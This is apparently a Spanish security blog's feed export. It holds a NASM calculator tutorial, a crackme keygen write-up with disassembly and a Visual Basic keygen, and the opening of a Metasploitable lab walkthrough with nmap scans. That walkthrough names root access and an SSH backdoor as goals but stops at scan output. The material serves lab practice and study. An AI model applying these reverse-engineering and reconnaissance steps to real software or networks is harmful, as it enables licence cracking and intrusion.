 PUSH EBP&lt;br /&gt;
 MOV EBP,ESP&lt;br /&gt;
 SUB ESP,4&lt;br /&gt;
 MOV [ESP],dword sMenu&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword Menu&lt;br /&gt;
 CALL scanf&lt;br /&gt;&lt;br /&gt;
 CMP dword [Menu],4&lt;/i&gt;
 &lt;i&gt;&lt;br /&gt;
 JA optMal&lt;br /&gt;
 CMP dword [Menu],1&lt;br /&gt;
 JE Suma&lt;br /&gt;
 CMP dword [Menu],2&lt;br /&gt;
 JE Resta&lt;br /&gt;
 CMP dword [Menu],3&lt;br /&gt;
 JE Multip&lt;br /&gt;
 CMP dword [Menu],4&lt;br /&gt;
 JE Divis&lt;br /&gt;
 CALL exit&lt;br /&gt;
optMal:&lt;br /&gt;
 MOV [ESP],dword sMal&lt;br /&gt;
 CALL printf&lt;br /&gt;
 JMP main&lt;br /&gt;
Suma:&lt;br /&gt;
 MOV [ESP],dword sVal1&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword NUM1&lt;br /&gt;
 CALL scanf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;MOV [ESP],dword sVal2&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword NUM2&lt;br /&gt;
 CALL scanf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;MOV EAX,dword [NUM1]&lt;br /&gt;
 MOV EDX,dword [NUM2]&lt;br /&gt;
 ADD EAX,EDX&lt;br /&gt;
 JMP Resultado&lt;br /&gt;
Resta:&lt;br /&gt;
 MOV [ESP],dword sVal1&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword NUM1&lt;br /&gt;
 CALL scanf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;MOV [ESP],dword sVal2&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword NUM2&lt;br /&gt;
 CALL scanf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;MOV EAX,dword [NUM1]&lt;br /&gt;
 MOV EDX,dword [NUM2]&lt;br /&gt;
 SUB EAX,EDX&lt;br /&gt;
 JMP Resultado&lt;br /&gt;
Multip:&lt;br /&gt;
 MOV [ESP],dword sVal1&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword NUM1&lt;br /&gt;
 CALL scanf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;MOV [ESP],dword sVal2&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword NUM2&lt;br /&gt;
 CALL scanf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;MOV EAX,dword [NUM1]&lt;br /&gt;
 MOV EDX,dword [NUM2]&lt;br /&gt;
 IMUL EAX,EDX&lt;br /&gt;
 JMP Resultado&lt;br /&gt;
Divis:&lt;br /&gt;
 MOV [ESP],dword sVal1&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword NUM1&lt;br /&gt;
 CALL scanf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;MOV [ESP],dword sVal2&lt;br /&gt;
 CALL printf&lt;br /&gt;
 MOV [ESP],dword Ftoi&lt;br /&gt;
 MOV [ESP+4],dword NUM2&lt;br /&gt;
 CALL scanf&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;MOV AX,word [NUM1]&lt;br /&gt;
 MOV DL,byte [NUM2]&lt;br /&gt;
 DIV DL&lt;br /&gt;
 JMP Resultado&lt;br /&gt;
Resultado:&lt;br /&gt;
 PUSH EAX&lt;br /&gt;
 PUSH sTOTAL&lt;br /&gt;
 CALL printf&lt;br /&gt;
 LEAVE&lt;br /&gt;
 RET&lt;/i&gt;&lt;/span&gt;&lt;/blockquote&gt;
Compilación en Windows:&lt;br /&gt;
&lt;blockquote&gt;
nasm -f win32 -Wall --prefix _ Calc.ASM&lt;br /&gt;
gcc -o Calc.exe Calc.obj&lt;/blockquote&gt;
Compilación en Linux:&lt;br /&gt;
&lt;blockquote&gt;
nasm -f elf Calc.ASM&lt;br /&gt;
gcc -o Calc Calc.o&lt;/blockquote&gt;
Fuente: Yo-Mismo (&lt;b&gt;Oversec.org&lt;/b&gt;)&lt;br /&gt;
Saludos</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/6013895636559576785/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/manual-intruduccion-nasm-netwide.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/6013895636559576785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/6013895636559576785'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/manual-intruduccion-nasm-netwide.html' title='Manual. Intruducción a NASM (Netwide Assembler)'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-6335428656365842307</id><published>2012-07-01T12:09:00.003-07:00</published><updated>2012-12-25T14:45:03.597-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="Ingeniería inversa"/><category scheme="http://www.blogger.com/atom/ns#" term="Keygen"/><title type='text'>[Tutorial] Keygen CrackMe Mr.Blood</title><content type='html'>Lo tenía pendiente desde hace algún tiempo...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;center&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Revisión&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
Lo primero es obtener el crackme, pueden descargarlo desde &lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=5049397840722246187&quot; http:=&quot;&quot; www.mediafire.com=&quot;&quot; zm6z15ym176h61l=&quot;zm6z15ym176h61l&quot;&gt;Aquí&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Lo primero que hice fué dar una revisión rápida al crackme y al fichero data. No muestra más que un código de 8 bytes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;center&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Análisis&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;br /&gt;
Decidido arranco el Crackme, y veo:&lt;br /&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;00401290  /$  55            PUSH EBP
00401291  |.  89E5          MOV EBP,ESP
00401293  |.  53            PUSH EBX
00401294  |.  81EC 84000000 SUB ESP,84
0040129A  |.  83E4 F0       AND ESP,FFFFFFF0
0040129D  |.  B8 00000000   MOV EAX,0
004012A2  |.  83C0 0F       ADD EAX,0F
004012A5  |.  83C0 0F       ADD EAX,0F
004012A8  |.  C1E8 04       SHR EAX,4
004012AB  |.  C1E0 04       SHL EAX,4
004012AE  |.  8945 A4       MOV [LOCAL.23],EAX
004012B1  |.  8B45 A4       MOV EAX,[LOCAL.23]
004012B4  |.  E8 87060000   CALL Crackme.00401940
004012B9  |.  E8 22030000   CALL Crackme.004015E0
004012BE  |.  C645 EF 00    MOV BYTE PTR SS:[EBP-11],0               ; |
004012C2  |.  C74424 04 003&amp;gt;MOV DWORD PTR SS:[ESP+4],Crackme.0040300&amp;gt;; |
004012CA  |.  C70424 023040&amp;gt;MOV DWORD PTR SS:[ESP],Crackme.00403002  ; |ASCII &quot;data&quot;
004012D1  |.  E8 AA070000   CALL &lt;jmp .=&quot;.&quot; msvcrt.fopen=&quot;msvcrt.fopen&quot;&gt;                 ; \fopen
004012D6  |.  8945 B4       MOV [LOCAL.19],EAX
004012D9  |.  C745 E8 00000&amp;gt;MOV [LOCAL.6],0
004012E0  |&amp;gt;  837D E8 01    /CMP [LOCAL.6],1
004012E4  |.  7F 39         |JG SHORT Crackme.0040131F
004012E6  |.  C745 E4 00000&amp;gt;|MOV [LOCAL.7],0
004012ED  |&amp;gt;  837D E4 03    |/CMP [LOCAL.7],3                        ; |
004012F1  |.  7F 25         ||JG SHORT Crackme.00401318              ; |
004012F3  |.  8B45 E8       ||MOV EAX,[LOCAL.6]                      ; |
004012F6  |.  C1E0 02       ||SHL EAX,2                              ; |
004012F9  |.  0345 E4       ||ADD EAX,[LOCAL.7]                      ; |
004012FC  |.  8D55 F8       ||LEA EDX,[LOCAL.2]                      ; |
004012FF  |.  01D0          ||ADD EAX,EDX                            ; |
00401301  |.  8D58 F8       ||LEA EBX,DWORD PTR DS:[EAX-8]           ; |
00401304  |.  8B45 B4       ||MOV EAX,[LOCAL.19]                     ; |
00401307  |.  890424        ||MOV DWORD PTR SS:[ESP],EAX             ; |
0040130A  |.  E8 61070000   ||CALL &lt;jmp .=&quot;.&quot; msvcrt.getc=&quot;msvcrt.getc&quot;&gt;                ; \getc
0040130F  |.  8803          ||MOV BYTE PTR DS:[EBX],AL
00401311  |.  8D45 E4       ||LEA EAX,[LOCAL.7]
00401314  |.  FF00          ||INC DWORD PTR DS:[EAX]
00401316  |.^ EB D5         |\JMP SHORT Crackme.004012ED
00401318  |&amp;gt;  8D45 E8       |LEA EAX,[LOCAL.6]
0040131B  |.  FF00          |INC DWORD PTR DS:[EAX]
0040131D  |.^ EB C1         \JMP SHORT Crackme.004012E0
0040131F  |&amp;gt;  8B45 B4       MOV EAX,[LOCAL.19]                       ; |
00401322  |.  890424        MOV DWORD PTR SS:[ESP],EAX               ; |#Dirección de stack donde almacena la recogida
00401325  |.  E8 36070000   CALL &lt;jmp .=&quot;.&quot; msvcrt.fclose=&quot;msvcrt.fclose&quot;&gt;                ; \fclose
&lt;/jmp&gt;&lt;/jmp&gt;&lt;/jmp&gt;&lt;/pre&gt;
&lt;br /&gt;
En mi caso, es almacenado en 0022FF38.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;center&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Profundizando&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
Si continuo traceando...&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;0040132A  |.  C745 E4 00000&amp;gt;MOV [LOCAL.7],0
00401331  |&amp;gt;  837D E4 03    /CMP [LOCAL.7],3
00401335  |.  7F 2A         |JG SHORT Crackme.00401361
00401337  |.  8B4D E4       |MOV ECX,[LOCAL.7]
0040133A  |.  8D45 F8       |LEA EAX,[LOCAL.2]
0040133D  |.  0345 E4       |ADD EAX,[LOCAL.7]
00401340  |.  83E8 08       |SUB EAX,8
00401343  |.  0FB610        |MOVZX EDX,BYTE PTR DS:[EAX]             ;   #Movemos byte[posicionActual] (leido de antes)
00401346  |.  B8 07000000   |MOV EAX,7                               ;  EAX=7 (Len)
0040134B  |.  2B45 E4       |SUB EAX,[LOCAL.7]
0040134E  |.  0FB64428 F0   |MOVZX EAX,BYTE PTR DS:[EAX+EBP-10]      ;  movemos a eax el ultimo byte (byte[len(byte) - posicionActual])
00401353  |.  8D0402        |LEA EAX,DWORD PTR DS:[EDX+EAX]
00401356  |.  89448D C8     |MOV DWORD PTR SS:[EBP+ECX*4-38],EAX     ;  Guardamos suma de los 2 bytes en [EBP+ECX*4-38]
0040135A  |.  8D45 E4       |LEA EAX,[LOCAL.7]
0040135D  |.  FF00          |INC DWORD PTR DS:[EAX]                  ;  Siguiente
0040135F  |.^ EB D0         \JMP SHORT Crackme.00401331

&lt;/pre&gt;
Es la base del algoritmo. Lo que hace el Señor Sangre, es sumar el 1º byte con el 8º, el 2º con el 7º etc. Si hechamos un vistazo al buffer donde se almacena, podremos ver nuestro serial creado, y al ser de serial único, prefiero no regalarlo&lt;br /&gt;
&lt;br /&gt;
Sigamos.&lt;br /&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;00401361  |&amp;gt; \C70424 500000&amp;gt;MOV DWORD PTR SS:[ESP],50                ; ||||||||
00401368  |.  E8 E3060000   CALL &lt;jmp .=&quot;.&quot; msvcrt.putchar=&quot;msvcrt.putchar&quot;&gt;               ; |||||||\putchar
0040136D  |.  C70424 610000&amp;gt;MOV DWORD PTR SS:[ESP],61                ; |||||||
00401374  |.  E8 D7060000   CALL &lt;jmp .=&quot;.&quot; msvcrt.putchar=&quot;msvcrt.putchar&quot;&gt;               ; ||||||\putchar
00401379  |.  C70424 730000&amp;gt;MOV DWORD PTR SS:[ESP],73                ; ||||||
00401380  |.  E8 CB060000   CALL &lt;jmp .=&quot;.&quot; msvcrt.putchar=&quot;msvcrt.putchar&quot;&gt;               ; |||||\putchar
00401385  |.  C70424 730000&amp;gt;MOV DWORD PTR SS:[ESP],73                ; |||||
0040138C  |.  E8 BF060000   CALL &lt;jmp .=&quot;.&quot; msvcrt.putchar=&quot;msvcrt.putchar&quot;&gt;               ; ||||\putchar
00401391  |.  C70424 3A0000&amp;gt;MOV DWORD PTR SS:[ESP],3A                ; ||||
00401398  |.  E8 B3060000   CALL &lt;jmp .=&quot;.&quot; msvcrt.putchar=&quot;msvcrt.putchar&quot;&gt;               ; |||\putchar
0040139D  |.  C70424 200000&amp;gt;MOV DWORD PTR SS:[ESP],20                ; |||
004013A4  |.  E8 A7060000   CALL &lt;jmp .=&quot;.&quot; msvcrt.putchar=&quot;msvcrt.putchar&quot;&gt;               ; ||\putchar
004013A9  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013AC  |.  83C0 0C       ADD EAX,0C                               ; ||
004013AF  |.  894424 10     MOV DWORD PTR SS:[ESP+10],EAX            ; ||
004013B3  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013B6  |.  83C0 08       ADD EAX,8                                ; ||
004013B9  |.  894424 0C     MOV DWORD PTR SS:[ESP+C],EAX             ; ||
004013BD  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013C0  |.  83C0 04       ADD EAX,4                                ; ||
004013C3  |.  894424 08     MOV DWORD PTR SS:[ESP+8],EAX             ; ||
004013C7  |.  8D45 B8       LEA EAX,[LOCAL.18]                       ; ||
004013CA  |.  894424 04     MOV DWORD PTR SS:[ESP+4],EAX             ; ||
004013CE  |.  C70424 073040&amp;gt;MOV DWORD PTR SS:[ESP],Crackme.00403007  ; ||ASCII &quot;%i %i %i %i&quot;
004013D5  |.  E8 66060000   CALL &lt;jmp .=&quot;.&quot; msvcrt.scanf=&quot;msvcrt.scanf&quot;&gt;                 ; |\scanf

&lt;/jmp&gt;&lt;/jmp&gt;&lt;/jmp&gt;&lt;/jmp&gt;&lt;/jmp&gt;&lt;/jmp&gt;&lt;/jmp&gt;&lt;/pre&gt;
Generamos la cadena &quot;Pass: &quot; caracter por caracter manualmente, y pasamos a recojer 4 valores enteros.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Toque final&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;pre&gt;004013ED  |&amp;gt; /837D E8 03    /CMP [LOCAL.6],3
004013F1  |. |7F 24         |JG SHORT Crackme.00401417
004013F3  |. |8B4D E8       |MOV ECX,[LOCAL.6]
004013F6  |. |B8 03000000   |MOV EAX,3
004013FB  |. |89C2          |MOV EDX,EAX
004013FD  |. |2B55 E8       |SUB EDX,[LOCAL.6]
00401400  |. |8B448D B8     |MOV EAX,DWORD PTR SS:[EBP+ECX*4-48]     ;  Buffer con nuestro serial falso
00401404  |. |3B4495 C8     |CMP EAX,DWORD PTR SS:[EBP+EDX*4-38]     ;  ¿Te suena esta dirección? Buffer con serial generador
00401408  |. |74 06         |JE SHORT Crackme.00401410               ;  Buen chico
0040140A  |. |C645 EF 01    |MOV BYTE PTR SS:[EBP-11],1
0040140E  |. |EB 07         |JMP SHORT Crackme.00401417              ;  Chico Malo
00401410  |&amp;gt; |8D45 E8       |LEA EAX,[LOCAL.6]
00401413  |. |FF00          |INC DWORD PTR DS:[EAX]                  ;  Siguiente.
00401415  |.^\EB D6         \JMP SHORT Crackme.004013ED

&lt;/pre&gt;
Ahí vemos que compara los bytes falsos por los bytes generados en el algoritmo.&lt;br /&gt;
Me pareció un serialme simple pero entretenido...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;center&gt;
&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;Zona 0&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
Esta es el código del Keygen, programado en VB (Por pereza)&lt;br /&gt;
&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;
&lt;pre&gt;Option Explicit

Private Sub Form_Load()
Dim B1 As String
Dim B2 As String
Dim i As Integer

Open &quot;c:\data&quot; For Binary As #1
    B1 = Space(LOF(1))
    Get #1, , B1
Close #1
For i = 1 To 4
    B2 = Asc(Mid(B1, i, 1)) + Asc(Mid(B1, Len(B1) - (i - 1), 1)) &amp;amp; vbCrLf &amp;amp; B2
Next
MsgBox B2, vbInformation
End Sub
&lt;/pre&gt;
&lt;br /&gt;
Un Saludo!</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/6335428656365842307/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/lo-tenia-pendiente-desde-hace-algun.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/6335428656365842307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/6335428656365842307'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/07/lo-tenia-pendiente-desde-hace-algun.html' title='[Tutorial] Keygen CrackMe Mr.Blood'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-6405855714613195922</id><published>2012-06-10T06:18:00.000-07:00</published><updated>2012-12-25T14:47:54.531-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Backdoor SSH"/><category scheme="http://www.blogger.com/atom/ns#" term="Mapeo de red"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploitable"/><category scheme="http://www.blogger.com/atom/ns#" term="nessus"/><category scheme="http://www.blogger.com/atom/ns#" term="nmap"/><title type='text'>[Relato] Entorno de seguridad Metasploitable versión Mayo 2010, Técnica #1</title><content type='html'>&lt;div class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;u&gt;&lt;b&gt;Esta sólo es una técnica para explotar la distro, 
veo un sin fín de caminos, recorrí el primero con el que me topé. 
Próximamente explicaré otros métodos.&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
La verdad, esperaba algo más complejo, pero ahí va &lt;img alt=&quot;&quot; border=&quot;0&quot; class=&quot;inlineimg&quot; src=&quot;http://oversec.org/images/smilies/drinking.gif&quot; title=&quot;drinking&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Tiempo:&lt;/u&gt; ~20 minutos&lt;br /&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;b style=&quot;color: red;&quot;&gt;¿Qué necesitaremos?&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;color: black;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://downloads.sourceforge.net/project/virtualhacking/os/metasploitable/Metasploitable-05-2010.zip?r=http%3A%2F%2Fsourceforge.jp%2Fprojects%2Fsfnet_virtualhacking%2Fdownloads%2Fos%2Fmetasploitable%2FMetasploitable-05-2010.zip%2F&amp;amp;ts=1339008385&amp;amp;use_mirror=ignum&quot; target=&quot;_blank&quot;&gt;Metasploitable 05/2010&lt;/a&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Metasploit&lt;/li&gt;
&lt;li&gt;Nmap&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: black;&quot;&gt;Nessus Scanner&lt;/span&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;b style=&quot;color: red;&quot;&gt;¿Cuáles serán nuestros objetivos?&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;color: black;&quot;&gt;
&lt;li&gt; &lt;span style=&quot;color: black;&quot;&gt;Instalación del entorno&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;Mapeo de red&lt;/li&gt;
&lt;li&gt;Escaneo&lt;/li&gt;
&lt;li&gt;Análisis&lt;/li&gt;
&lt;li&gt;Ataque y Root&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;Backdoor SSH&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: black;&quot;&gt;Despedida&lt;/span&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;b style=&quot;color: red;&quot;&gt;¿Reglas?&lt;/b&gt;&lt;span style=&quot;color: black;&quot;&gt;
&lt;/span&gt; &lt;/div&gt;
&lt;ul style=&quot;color: black;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: white; color: black;&quot;&gt;No.&lt;/span&gt;&lt;br style=&quot;background-color: black;&quot; /&gt;&lt;span style=&quot;background-color: black;&quot;&gt;
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&lt;b&gt;Instalación del entorno&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
Lo primero será obtener la imagen del disco duro del sistema desde el link citado anteriormente.&lt;br /&gt;
Cabe aclarar, que para acoplar el fichero VMDK a VirtualBox, primero  
tendrán que convertirlo a VDI. Esto se soluciona acoplandola a VMWare.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La configuración es autmática, sólo deberás configurar la red como adaptador host a host.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&lt;b&gt;Mapeo de red&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Como de costumbre, acudiremos a nmap.&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot; style=&quot;background-color: white; color: black;&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;nmap -sP 192.168.xxx.*&lt;/pre&gt;
&lt;/div&gt;
Esto arroja:&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot; style=&quot;background-color: white;&quot;&gt;
&lt;div class=&quot;bbcode_quote&quot;&gt;
&lt;div class=&quot;quote_container&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;Starting Nmap 5.51 ( &lt;/span&gt;&lt;a href=&quot;http://nmap.org/&quot; style=&quot;color: black;&quot; target=&quot;_blank&quot;&gt;http://nmap.org&lt;/a&gt;&lt;span style=&quot;background-color: white; color: black;&quot;&gt; ) at 2012-06-09 11:54 Hora de verano romance&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Nmap scan report for 192.168.29.1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Host is up.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Nmap scan report for &lt;/span&gt;&lt;b style=&quot;color: black;&quot;&gt;192.168.29.128&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Host is up (0.012s latency).&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
MAC Address: 00:0C:29:1E:8B:E7 (VMware)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Nmap scan report for 192.168.29.254&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Host is up (0.0030s latency).&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
MAC Address: 00:50:56:F1:C8:4D (VMware)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.06 seconds
   
  &lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
Tenemos nuesta máquina lista en la dirección &lt;b&gt;192.168.29.128.&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;

&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&lt;b&gt;Escaneo&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;center&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&lt;b&gt;
&lt;/b&gt;&lt;/span&gt;Hechemos un vistazo rápido con Nmap:&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot; style=&quot;background-color: white; color: black;&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;nmap -sS -sV 192.168.29.128&lt;/pre&gt;
&lt;/div&gt;
Aquí nos topamos con algunas cosas interesantes.&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot; style=&quot;background-color: white;&quot;&gt;
&lt;div class=&quot;bbcode_quote&quot;&gt;
&lt;div class=&quot;quote_container&quot;&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;PORT     STATE SERVICE     VERSION&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
21/tcp   open  ftp?&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
22/tcp   open  ssh         &lt;/span&gt;&lt;b&gt;OpenSSH 4.7p1 Debian&lt;/b&gt;&lt;span style=&quot;background-color: white;&quot;&gt; 8ubuntu1 (protocol 2.0)&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
23/tcp   open  telnet      &lt;/span&gt;&lt;span style=&quot;background-color: white; color: red;&quot;&gt;&lt;b&gt;Linux telnetd&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
25/tcp   open  smtp        &lt;/span&gt;&lt;b style=&quot;color: black;&quot;&gt;Postfix smtpd&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
53/tcp   open  domain      ISC BIND 9.4.2&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
